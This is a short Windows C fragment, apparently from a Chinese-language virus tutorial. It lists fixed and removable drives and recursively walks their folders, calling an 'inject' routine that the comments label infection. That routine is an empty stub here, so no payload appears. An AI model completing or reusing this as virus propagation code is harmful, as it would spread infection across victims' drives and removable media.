void EnumSys(){
for(char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT Type=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘
{
EnumDirectory(x);//进行感染 此函数下面介绍
}
}
}
bool EnumDirectory(TCHAR *dirpath)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH] = { 0 };
bool bIsFinish = false;
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind, "%s\\*.*", dirpath);
HANDLE hFind = FindFirstFile(szTempFileFind, &fd);
if (hFind == INVALID_HANDLE_VALUE)
{
return false;
}
while (!bIsFinish)
{
bIsFinish = (FindNextFile(hFind, &fd)) ? false : true;
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0))
{
TCHAR szFoundFileName[MAX_PATH] = { 0 };
strcpy(szFoundFileName, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
TCHAR szTempDir[MAX_PATH] = { 0 };
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName);
Sleep(10);
inject(szTempDir);//进行操作 此函数下面介绍
EnumDirectory(szTempDir);//递归调用
}
}
}
FindClose(hFind);
return 0;
}
void inject(char* path){
}